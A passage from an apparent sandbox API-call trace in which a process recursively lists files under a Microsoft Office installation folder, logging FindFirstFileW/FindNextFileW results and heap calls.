cFileName="msouc.exe", cAlternateFileName="")) returned 1 [0289.685] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26d2137, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26d2137, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xce40, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmadminicon.exe", cAlternateFileName="OSMADM~1.EXE")) returned 1 [0289.685] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26f8376, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2875b71, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xce40, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmclienticon.exe", cAlternateFileName="OSMCLI~1.EXE")) returned 1 [0289.685] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26d2137, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26d2137, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2ede099, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6e240, dwReserved0=0x0, dwReserved1=0x0, cFileName="outicon.exe", cAlternateFileName="")) returned 1 [0289.686] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc284f9dc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc284f9dc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2c2f6fb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xce0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pj11icon.exe", cAlternateFileName="")) returned 1 [0289.686] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc36c3d3f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc36c3d3f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc39bed4a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x359640, dwReserved0=0x0, dwReserved1=0x0, cFileName="pptico.exe", cAlternateFileName="")) returned 1 [0289.686] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc290e5a3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc290e5a3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2bbceb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xcda40, dwReserved0=0x0, dwReserved1=0x0, cFileName="pubs.exe", cAlternateFileName="")) returned 1 [0289.686] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc289be7e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc289be7e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2afe3f3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11640, dwReserved0=0x0, dwReserved1=0x0, cFileName="sscicons.exe", cAlternateFileName="")) returned 1 [0289.686] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2875b71, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2875b71, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2a19653, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x248040, dwReserved0=0x0, dwReserved1=0x0, cFileName="visicon.exe", cAlternateFileName="")) returned 1 [0289.686] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc30ce080, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e0c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordicon.exe", cAlternateFileName="")) returned 1 [0289.686] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2e456b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2e456b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc300f337, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3840a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlicons.exe", cAlternateFileName="")) returned 1 [0289.686] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2e456b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2e456b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc300f337, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3840a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlicons.exe", cAlternateFileName="")) returned 0 [0289.686] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0289.687] GetProcessHeap () returned 0xaf0000 [0289.687] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0289.687] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f507b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~3")) returned 1 [0289.687] GetProcessHeap () returned 0xaf0000 [0289.687] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0289.687] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-0409-1000-0000000FF1CE}\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f507b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0289.687] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f507b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.687] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc33305b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfaea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc.exe", cAlternateFileName="")) returned 1 [0289.687] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc33305b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfaea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc.exe", cAlternateFileName="")) returned 0 [0289.687] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0289.688] GetProcessHeap () returned 0xaf0000 [0289.688] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0289.688] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-040C-1000-0000000FF1CE}", cAlternateFileName="{90160~4")) returned 1 [0289.688] GetProcessHeap () returned 0xaf0000 [0289.688] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0289.688] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-040C-1000-0000000FF1CE}\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0289.688] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.688] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc394c592, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfaea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc.exe", cAlternateFileName="")) returned 1 [0289.689] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc394c592, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfaea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc.exe", cAlternateFileName="")) returned 0 [0289.689] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0289.689] GetProcessHeap () returned 0xaf0000 [0289.689] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0289.689] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0C0A-1000-0000000FF1CE}", cAlternateFileName="{9B17A~1")) returned 1 [0289.689] GetProcessHeap () returned 0xaf0000 [0289.689] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0289.689] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-0C0A-1000-0000000FF1CE}\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0289.689] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.689] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc38b3c05, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfaea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc.exe", cAlternateFileName="")) returned 1 [0289.689] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc38b3c05, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfaea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc.exe", cAlternateFileName="")) returned 0 [0289.690] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0289.690] GetProcessHeap () returned 0xaf0000 [0289.690] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0289.690] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 1 [0289.690] GetProcessHeap () returned 0xaf0000 [0289.690] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0289.690] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-006E-0409-1000-0000000FF1CE}\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0289.690] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.690] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2b4a894, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfaea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc.exe", cAlternateFileName="")) returned 1 [0289.690] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2b4a894, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfaea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc.exe", cAlternateFileName="")) returned 0 [0289.691] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0289.871] GetProcessHeap () returned 0xaf0000 [0289.871] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0289.871] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 0 [0289.871] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0289.872] GetProcessHeap () returned 0xaf0000 [0289.872] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0289.873] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e24d55a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e24d55a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e273816, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCHEALTH", cAlternateFileName="")) returned 1 [0289.873] GetProcessHeap () returned 0xaf0000 [0289.873] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0289.873] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e24d55a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e24d55a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e273816, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0289.874] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e24d55a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e24d55a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e273816, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.874] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e273816, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERRORREP", cAlternateFileName="")) returned 1 [0289.874] GetProcessHeap () returned 0xaf0000 [0289.874] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0289.875] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e273816, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0289.875] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e273816, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.875] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QHEADLES", cAlternateFileName="")) returned 1 [0289.875] GetProcessHeap () returned 0xaf0000 [0289.875] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0289.876] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\QHEADLES\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0289.876] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.876] FindNextFileW (in: hFindFile=0xb02ec8, 